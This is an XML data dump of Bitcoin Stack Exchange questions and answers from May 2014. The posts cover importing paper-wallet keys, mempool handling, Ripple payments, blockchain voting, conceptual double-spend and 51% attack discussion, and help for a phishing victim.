  <row Id="25611" PostTypeId="1" CreationDate="2014-05-26T10:25:01.723" Score="0" ViewCount="213" Body="&lt;p&gt;If I only have a public key string and a private key string written on a sheet of paper.  How do I use those in bitcoin-qt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this can be added to bitcoin-qt, will it eventually show me how much funds that private/public key has when the block chain is synchronized on my computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this action will cause the cold private key to become a hot private key.&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="4823" LastEditDate="2014-05-26T16:47:01.313" LastActivityDate="2014-05-26T16:47:01.313" Title="Using paper based public/private keys in bitcoin-qt" Tags="|bitcoin-core|private-key|public-key|paper-wallet|import|" AnswerCount="2" CommentCount="0" ClosedDate="2014-05-29T21:29:00.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="25612" PostTypeId="1" CreationDate="2014-05-26T11:20:25.637" Score="9" ViewCount="9256" Body="&lt;p&gt;Using Bitcoind and Json-RPC, how can I remove an unconfirmed transaction from the memory pool?&lt;/p&gt;&#xA;&lt;p&gt;The scenario being that I want to remove the unconfirmed transaction because it's not getting confirmed, and it's preventing me from sending new transactions spending the same inputs because Bitcoind considers it a double spend.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastEditorUserId="5406" LastEditDate="2021-06-20T17:40:31.567" LastActivityDate="2021-06-20T17:40:31.567" Title="How can an unconfirmed transaction be removed from the memory pool?" Tags="|bitcoind|json-rpc|unconfirmed-transactions|mempool|revert-transaction|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25613" PostTypeId="1" AcceptedAnswerId="25680" CreationDate="2014-05-26T13:35:01.903" Score="6" ViewCount="2481" Body="&lt;p&gt;A web search led to &lt;a href=&quot;https://ripple.com&quot; rel=&quot;nofollow&quot;&gt;Ripple.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add the payments via Ripple payment to an e-commerce website?&#xA;Where can i find source code to implement such Ripple payments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there are few websites which offer payment via Ripple such as &lt;a href=&quot;https://www.privateinternetaccess.com/pages/buy-vpn/&quot; rel=&quot;nofollow&quot;&gt;PrivateInternetAccess&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17010" LastEditorUserId="3364" LastEditDate="2014-05-29T15:52:40.470" LastActivityDate="2014-05-29T17:53:22.780" Title="How to accept payments via Ripple on a website" Tags="|ripple|ripple-gateways|merchants|commerce|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25614" PostTypeId="2" ParentId="25611" CreationDate="2014-05-26T15:00:55.023" Score="0" Body="&lt;p&gt;I  haven't tested this myself yet but I understand that you can use the info from a paper wallet and generate a transaction using &lt;a href=&quot;http://brainwallet.org&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org&lt;/a&gt;, that said brainwallet.org make some rather nice paper wallets much more info included the the blockchain.info paper wallet.  Let me know if you send a Transaction using this would be interested to know if it works and how simple it was....&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-05-26T15:00:55.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25615" PostTypeId="2" ParentId="13112" CreationDate="2014-05-26T15:06:33.823" Score="0" Body="&lt;p&gt;strongcoin.com offer a escrow service:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.strongcoin.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.strongcoin.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could also use  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitrated.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitrated.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They provide a platform for transaction arbitration which is open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinb.in/multisig/&quot; rel=&quot;nofollow&quot;&gt;https://coinb.in/multisig/&lt;/a&gt; - This allows you to use the multi-sig functionality in bitcoin which you can use for escrowed trades as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only just stumbled across this one: &lt;a href=&quot;http://www.coinsigner.com/Howitworks.html&quot; rel=&quot;nofollow&quot;&gt;http://www.coinsigner.com/Howitworks.html&lt;/a&gt; but it looks to provide some kind of arbitration,  &lt;/p&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="2306" LastEditDate="2014-10-23T19:08:38.030" LastActivityDate="2014-10-23T19:08:38.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25616" PostTypeId="2" ParentId="25611" CreationDate="2014-05-26T15:21:36.677" Score="0" Body="&lt;p&gt;Use the &lt;code&gt;importprivkey&lt;/code&gt; console command.  The console is accessible via the debug window.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; importprivkey 5xxx.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will rescan the blockchain to find all past transactions involving the corresponding address and finally add its balance to your wallet.  This process takes several minutes (or more) and bitcoin-qt may appear to freeze while it's working, so just be patient.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-26T15:21:36.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25619" PostTypeId="2" ParentId="331" CreationDate="2014-05-26T18:29:44.213" Score="13" Body="&lt;p&gt;Assume for a second that we found a proof of work algorithm that had all of the good properties of sha256, but was also useful for SETI and maintaining world peace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now suppose a group of miners collectively have more than 51% of the hashing power. In which of the following scenarios are they more likely to collude to double spend via a 51% attack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) When the proof of work algorithm     is something like sha256 and is only useful for securing the bitcoin network &lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) When the proof of work algorithm helps find aliens and maintain world peace in addition to securing the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Scenario B, if BTC lost all of its value due to a 51% attack/double spend,  miners' hardware would still be valuable because although it couldn't mine bitcoin, it could still find aliens and maintain world peace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Scenario A, if BTC were to lose its value, miners' hardware would go down with it, due to said hardware's uselessness for anything other than mining bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, having a &quot;useless&quot; proof of work algorithm (where &quot;useless&quot; just means being able to secure the bitcoin network and nothing else) is a plus (for the bitcoin network,) because miners will be less tempted to trash bitcoin, knowing that their hardware would be worthless if they were to do so. &lt;/p&gt;&#xA;" OwnerUserId="13411" LastActivityDate="2014-05-26T18:29:44.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25620" PostTypeId="2" ParentId="25612" CreationDate="2014-05-27T00:11:21.130" Score="1" Body="&lt;p&gt;There is no RPC command available to remove objects from the mempool. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-05-27T00:11:21.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25621" PostTypeId="1" CreationDate="2014-05-27T06:35:34.427" Score="0" ViewCount="64" Body="&lt;p&gt;Is it possible to have a multisignature transaction where N signatures are required and their inputs are limited in value, but not fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use case would be for a pooled acquisition, where the total amount to be spent is just roughly estimated, but not know. Every participant wants to just specify a maximum value to be used (probably the same for everybody).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exceeding money, if any can go to a shared account or be returned to each of the &quot;bakers&quot;. &lt;/p&gt;&#xA;" OwnerUserId="16981" LastEditorUserId="16981" LastEditDate="2014-05-30T22:00:20.643" LastActivityDate="2014-05-30T22:00:20.643" Title="Limited, but not fixed multisignature transactions, is that possible?" Tags="|transactions|multi-signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25622" PostTypeId="2" ParentId="25621" CreationDate="2014-05-27T06:58:27.163" Score="2" Body="&lt;p&gt;Restrictions on the btc value of a transaction cannot be enforced via a transaction script. The btc value is not a property accessible from a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be possible though to create a protocol on top of bitcoin which does have such properties.&lt;/p&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-05-27T06:58:27.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25623" PostTypeId="2" ParentId="25444" CreationDate="2014-05-27T08:21:19.383" Score="0" Body="&lt;p&gt;Hash Rate for any coin depends on these parameters like &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Coin Algorithm (Scrypt/SHA256d/x11)&lt;/li&gt;&#xA;&lt;li&gt;Fork Coin ( Like forked from   &lt;/li&gt;&#xA;&lt;li&gt;litecoin/bitcoin) Coin is CPU/GPU based mining&lt;/li&gt;&#xA;&lt;li&gt;Better Stratum Connection b/w your hardware(system) and Mining Pool&lt;/li&gt;&#xA;&lt;li&gt;Network Bandwidth.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15518" LastEditorUserId="15518" LastEditDate="2014-05-27T09:10:32.990" LastActivityDate="2014-05-27T09:10:32.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25624" PostTypeId="1" CreationDate="2014-05-27T09:20:29.687" Score="8" ViewCount="2325" Body="&lt;p&gt;In a blockchain-based polling/voting system, what is the best way to ensure that nobody votes more than once, and what is the best way to keep votes secret (if that's a requirement)? The info available in the blockchain should be 1) who voted and 2) how many votes for each option.&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2014-06-07T15:27:21.580" Title="Blockchain-based polling/voting systems" Tags="|voting|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25625" PostTypeId="2" ParentId="25624" CreationDate="2014-05-27T10:12:58.347" Score="5" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.coinprism.com&quot; rel=&quot;nofollow&quot;&gt;colored coins&lt;/a&gt; to do voting on the Blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start by creating &quot;Vote coins&quot;, and issue as many of them as you have registered voters. Then you ask the voters to generate a Bitcoin address, and that they give it to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then send 1 &quot;vote coin&quot; to each of those addresses. You designate two or more addresses, one for each candidate/proposition. Finally the voters have to send the vote coin to the address representing the proposition they want to vote for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the vote is closed, you simply look at the &quot;vote coin&quot; balance in each of the two addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The votes are secret because nobody can tell which address belongs to which voter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinprism.com&quot; rel=&quot;nofollow&quot;&gt;Coinprism&lt;/a&gt; is a web wallet that lets you issue, send and receive your own colored coins. It's quite simple to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For secrecy, the voters could go to the voting office, the officials verify that the voter is allowed to vote, the voter writes down his address on a piece of paper, and slide it into a sealed box. At the end of that registration process, the voting office has a box with 100 pieces of papers with each an address. They can then send the &quot;vote coins&quot; to those 100 addresses, without knowing which belongs to whom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is just an illustration, it's possible to achieve the same without requiring people to travel using the equivalent process implemented as open source software.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastEditorUserId="2716" LastEditDate="2014-05-28T21:00:24.370" LastActivityDate="2014-05-28T21:00:24.370" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25626" PostTypeId="1" AcceptedAnswerId="25777" CreationDate="2014-05-27T10:18:33.897" Score="4" ViewCount="1662" Body="&lt;p&gt;What tool/software can I use to broadcast a raw transaction, which would not reject a transaction because of invalid or double spend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind with RPC has a validation step which rejects any raw transaction where the inputs are not known, or if the inputs are double spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't want to rely on a third party service like blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2014-06-05T10:29:04.447" Title="Broadcast raw transaction without input validation" Tags="|bitcoind|json-rpc|raw-transaction|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25627" PostTypeId="2" ParentId="10476" CreationDate="2014-05-27T11:19:47.310" Score="2" Body="&lt;p&gt;Make sure That you have, in your &lt;code&gt;bitcoin.conf&lt;/code&gt; file located in &lt;code&gt;~/Library/Application Support/Bitcoin&lt;/code&gt; at least the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=&amp;lt;username&amp;gt;&#xA;rpcpassword=&amp;lt;your_password&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Restart Bitcoin client, enjoy Bitcoin solo mining. ;)&lt;/p&gt;&#xA;" OwnerUserId="9689" LastActivityDate="2014-05-27T11:19:47.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25629" PostTypeId="2" ParentId="25626" CreationDate="2014-05-27T14:15:36.940" Score="-1" Body="&lt;p&gt;There is absolutely no reason trying to broadcast invalid transaction.&#xA;It is wasting your time and your traffic.&#xA;Your peer(s) will check it and throw it away. They will not relay it to network.&#xA;They also can ban your IP-address for some time (1 day?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May be you want to send valid but non-standard transaction?&#xA;Or may be you want to have a custom tool, which sends transactions to a network?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // [...]&#xA;    void NetSocket::pushTx ( const QByteArray&amp;amp; data )&#xA;    {&#xA;      const MyKey32 key ( data.constData ( ), data.size ( ) );  // calculate txid&#xA;      outTx.insert ( key, data );                               // store data&#xA;      write ( &quot;inv&quot;, invPacket ( MSG_TX, key ) );               // send inv packet&#xA;    }&#xA;    //--------------------------------------------------------------&#xA;    void NetSocket::write ( const char* type, const QByteArray&amp;amp; data )&#xA;    {&#xA;      socket -&amp;gt; write ( packet ( type, data ) );&#xA;    }&#xA;    //--------------------------------------------------------------&#xA;    void NetSocket::procGetdataPacket ( const QByteArray&amp;amp; data )&#xA;    {&#xA;      Stream d ( data ); d.skip24 ( );               // i do not check header now&#xA;      const int count ( d.readVar ( ) );&#xA;      xassert ( count == 1 );&#xA;      const quint8* ss = d.readAdvance ( 36 );&#xA;      const quint32 tag ( *(quint32*)ss );&#xA;      const MyKey32 key ( ss + 4 );&#xA;      xassert ( tag == MSG_TX );&#xA;      xassert ( outTx.contains ( key ) );&#xA;      write ( &quot;tx&quot;, txPacket ( outTx.value ( key ) ) );&#xA;    }&#xA;    // [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-05-27T14:15:36.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25630" PostTypeId="1" AcceptedAnswerId="25633" CreationDate="2014-05-27T15:06:58.350" Score="1" ViewCount="237" Body="&lt;p&gt;How much hashpower is needed to double-spend coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some worry only about one entity getting over 50% of the hashpower, while others are complaining (at the time of writing) about an entity having more than 33%. What is the importance of 50%? Can a double-spend be done with less?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-05-28T21:11:42.813" Title="How much hashpower is needed to double-spend? Is &gt;50% a minimum?" Tags="|doublespend|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25631" PostTypeId="1" AcceptedAnswerId="25636" CreationDate="2014-05-27T15:18:23.203" Score="2" ViewCount="50" Body="&lt;p&gt;Let's say a company is hosting mining hardware, either hosting customers' hardware or renting out the hashes produced by hardware owned by the company, or both. So the company is physically controlling the hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if this hashpower reaches a percentage of global hashpower that makes double-spends possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be mitigated by the company allowing customers to select which mining pool they want their hardware/hashpower pointed at? For example through the company's web interface.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-05-27T17:30:51.600" Title="Can too big hosted mining service be mitigated by allowing customers to choose mining pool?" Tags="|doublespend|hashpower|hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25632" PostTypeId="2" ParentId="25631" CreationDate="2014-05-27T15:25:49.857" Score="0" Body="&lt;p&gt;It almost happened in january this year, by &lt;a href=&quot;http://heavy.com/tech/2014/01/ghash-io-51-percent-attack-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;GHash&lt;/a&gt;. But that was a pool, not a company who rents out hardware. It is virtually impossible that 51% of the hashing power in hardware is controlled by one single company. It simply requires too much hardware/energy/cooling/space et cetera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what I understand, when you hire mining equipment or hashrate, you can always decide in which pool, and which coin you are going to mine. I never done it myself, but I read in fora that you can login via ssh, and run your mining command, and in that way select the pool you want.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-27T15:25:49.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25633" PostTypeId="2" ParentId="25630" CreationDate="2014-05-27T15:32:58.083" Score="1" Body="&lt;p&gt;No, 50% is not a minimum to double-spend. From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending#Brute_force_attack&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Brute force attack&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This attack has a chance to work even if the merchant waits for some confirmations, but requires relatively high hashrate.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The attacker submits to the merchant/network a transaction which pays the merchant, while privately mining a blockchain fork in which a double-spending transaction is included instead. After waiting for n confirmations, the merchant sends the product. If the attacker happened to find more than n blocks at this point, he releases his fork and regains his coins; otherwise, he can try to continue extending his fork with the hope of being able to catch up with the network. If he never manages to do this, the attack fails and the payment to the merchant will go through.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The probability of success is a function of the attacker's hashrate (as a proportion of the total network hashrate) and the number of confirmations the merchant waits for. For example, if the attacker controls 10% of the network hashrate but the merchant waits for 6 confirmations, the success probability is on the order of 0.1%&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you have more than 50% of the hashrate, the succeed chance is 100%:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&gt;50% attack&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the attacker controls more than half of the network hashrate, the previous attack has a probability of 100% to succeed. Since the attacker can generate blocks faster than the rest of the network, he can simply persevere with his private fork until it becomes longer than the branch built by the honest network, from whatever disadvantage.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No amount of confirmations can prevent this attack; however, waiting for confirmations does increase the aggregate resource cost of performing the attack, which could make it unprofitable or delay it long enough for the circumstances to change or slower-acting synchronization methods to kick in.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-27T15:32:58.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25634" PostTypeId="2" ParentId="25514" CreationDate="2014-05-27T15:55:24.493" Score="0" Body="&lt;p&gt;I fixed it by adding the line&#xA;listen=1&#xA;in the .conf file at for one client&#xA;I also used the -connect=xx.xx.xx.xx command line argument where I used the global ip that I found on myexternalip.com&lt;/p&gt;&#xA;" OwnerUserId="16869" LastActivityDate="2014-05-27T15:55:24.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25636" PostTypeId="2" ParentId="25631" CreationDate="2014-05-27T17:06:28.127" Score="2" Body="&lt;p&gt;I think it primarily just gives you a false sense of security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say company XYZ is a hosted mining company like you describe. They grow so that they have 51% of the network's hash power. This may not be apparent on &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;graphs like this one&lt;/a&gt; since it's spread among other (reasonably-sized) pools. However, since they are ultimately in control of the hardware, they can &quot;go rogue&quot; and make all of the hardware mine on their own pool. They now are able to execute double-spends, since they have 51% of the power. Note that this will not be a quiet thing: People will know that it has occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A major reason why this probably wouldn't actually happen is that the company would be killing their &lt;a href=&quot;http://en.wikipedia.org/wiki/The_Goose_That_Laid_the_Golden_Eggs&quot; rel=&quot;nofollow&quot;&gt;golden goose&lt;/a&gt;. They could keep making money as a mining service, profiting from Bitcoin's success; instead they succeed in a few double-spends and then faith in Bitcoin is destroyed, and the value plummets. Or, since they no longer have cash inflow from new miners, they can't keep up with the rest of the network's improvements and they fall below 50% of the power. Either way, they're pretty much shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we had a way to provably protect the hardware (via some private/public key system) so that the renters are really the ones that control what pool it points to (and the communication between the pool and the hardware was similarly tamper-proof), we could prevent this sort of attack completely. This would make the service more like a &quot;customer buys some hardware, and we provide the space, power, and cooling in exchange for a fee&quot; service than typical mining contracts.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-05-27T17:30:51.600" LastActivityDate="2014-05-27T17:30:51.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25637" PostTypeId="1" CreationDate="2014-05-27T17:33:26.483" Score="3" ViewCount="625" Body="&lt;p&gt;I would like to start using bitcoin more for day-to-day transactions. However, it takes way too long to keep my wallet up to date to be practical. I am using Bitcoin Armory, though I have had this problem with every bitcoin wallet software I have tried so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a super powerful machine, 64 bit OS, 8 core CPU @ 1.6 GHz each, 6GB RAM, Radeon 6570m GPU, no SSD. My laptop becomes noticeably slower and almost unusable when the bitcoin software is running. Thus I have to turn it off when I need to use my computer. But if I leave it off for 12 hours, it takes on the order of 12 hours to resync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I MUST be doing something wrong. Does everyone using bitcoin really have a 24/7 dedicated box (possibly in the cloud) to keep their wallet up to date? This isn't practical for me at all, especially since it takes longer and longer to sync each time as the number of transactions per day increases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: for security reasons I am not willing to use an online service that holds my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make using bitcoin more practical? I have heard about using clients that don't download / maintain the full blockchain, but doesn't this defeat the purpose of being able to verify the transaction ledger myself?&lt;/p&gt;&#xA;" OwnerUserId="13773" LastActivityDate="2014-08-28T16:43:08.233" Title="Wallet takes way too much time to keep up to date?" Tags="|synchronization|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="25638" PostTypeId="1" CreationDate="2014-05-27T21:29:47.600" Score="1" ViewCount="95" Body="&lt;p&gt;I am currently using bfgminer 3.99.0 installed on a raspberry pi on top of raspbian.  I have 7 ant miner u2 miners plugged in split over 2 usb hubs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the stats produced from bfgminer the shares seem to vary massively although they were all started at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZsAbm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also used mine peon and experience the same issue.  When I log into my pool the hash rate differs massively from the output of the miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a test I loaded asteroid on my iMac and connected the miners, I don't know how to see the share rate on that but my hash rate from asteroid and the hash rate on the pool matched (very close).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is why does the accepted rate differ between miners so much and also why does this cause a difference in hash rates and is there anything I can do about it.&lt;/p&gt;&#xA;" OwnerUserId="16991" LastActivityDate="2014-05-27T21:29:47.600" Title="Lower Shares from certain miners" Tags="|bfgminer|raspberry-pi|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25640" PostTypeId="1" CreationDate="2014-05-27T22:35:13.087" Score="1" ViewCount="2802" Body="&lt;p&gt;I have been a victim of a phishing attack today, and the perpetrator stole my bitcoin hosted at &lt;a href=&quot;https://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;coinbase.com&lt;/a&gt;. I have an IP address that the attacker used. Is there anything I can do? Any info would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="16992" LastEditorUserId="2306" LastEditDate="2014-09-12T16:24:24.293" LastActivityDate="2017-12-23T07:28:01.893" Title="Someone stole my bitcoin. Help?" Tags="|phishing|wallet-security|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="25641" PostTypeId="2" ParentId="25640" CreationDate="2014-05-27T22:42:27.553" Score="2" Body="&lt;p&gt;&lt;strong&gt;If you have the private keys for your addresses that were holding your bitcoin, transfer them immediately to a new address.&lt;/strong&gt; On the compromised computer, cease all online work until you are certain the phishing malware has been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they have already been removed by the thief, then there is not much you can do. You can file a police report, but the likelihood of getting your coin back is about the same as if someone stole your physical wallet out of your pocket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, there is a lot more you can do, but the justice departments of the world have not laid down any protocols for bitcoin theft and are likely never really investigated (most cops probably don't know much more than the average person about bitcoin, anyway).&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2014-05-27T22:42:27.553" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25642" PostTypeId="1" CreationDate="2014-05-27T23:09:49.007" Score="2" ViewCount="157" Body="&lt;p&gt;I sent some bitcoins from a multibit wallet to another wallet. I recently realized that the change not sent in this transaction is sent to a new address. This means I didn't back up the key of this new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if this new address created would have auto-saved when I shut down multibit. If so what kind of name would it self save under?&lt;/p&gt;&#xA;" OwnerUserId="16993" LastEditorDisplayName="user4276" LastEditDate="2014-05-29T21:23:04.333" LastActivityDate="2014-08-28T00:24:59.333" Title="Multibit saving after transaction - what do wallet private key backups look like, if they exist?" Tags="|private-key|multibit|backup|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25643" PostTypeId="1" AcceptedAnswerId="25647" CreationDate="2014-05-27T23:26:39.647" Score="3" ViewCount="455" Body="&lt;p&gt;Is it possible to use namecoind to determine the block number from a block hash?&#xA;Going from height to hash is easy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;namecoind getblockhash &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But going from hash to height appears to be impossible...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Height is not an attribute on each block and no method appears to return it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest two are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namecoind help getblockcount&#xA;&quot;Returns the number of blocks in the longest block chain.&quot;&#xA;&#xA;namecoind help getblocknumber&#xA;&quot;Returns the block number of the latest block in the longest block chain.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is close, but I don't want the single, largest height value, I'm looking for a way to look up any block's height via its hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are two methods which do the same thing (return greatest height) and no methods that take a block's hash and return that block's height.  Block height is also not a block attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing here?  Other coins do not appear to lack this basic functionality.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-28T03:04:56.227" Title="Namecoin - How to Find Block Height via Block Hash?" Tags="|altcoin|namecoin|hash|height|" AnswerCount="1" CommentCount="0" ClosedDate="2020-04-29T03:18:57.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="25645" PostTypeId="1" CreationDate="2014-05-28T01:01:00.223" Score="1" ViewCount="133" Body="&lt;p&gt;I'm building a tool that uses ripple-lib on the client side and ripple-rest on the server side.  For some features, I need the administrator to provide the account secret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could prompt the user for both the account ID and the secret.  Instead, I want to prompt for only the secret and calculate the account ID automatically.  That way, I'll always have a valid matching ID and secret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm certain this can be done, as the client at &lt;a href=&quot;https://ripple.com/client/#/register&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/client/#/register&lt;/a&gt; allows you to enter the secret and it does exactly what I'm talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any documentation as to how it does this.  Does ripple-lib provide an API for calculating the account ID, given the secret?&lt;/p&gt;&#xA;" OwnerUserId="13218" LastActivityDate="2014-05-28T01:01:00.223" Title="Given secret, learn account details" Tags="|ripple|ripple-api|" AnswerCount="0" CommentCount="2" ClosedDate="2019-07-17T21:15:23.400" ContentLicense="CC BY-SA 3.0" />
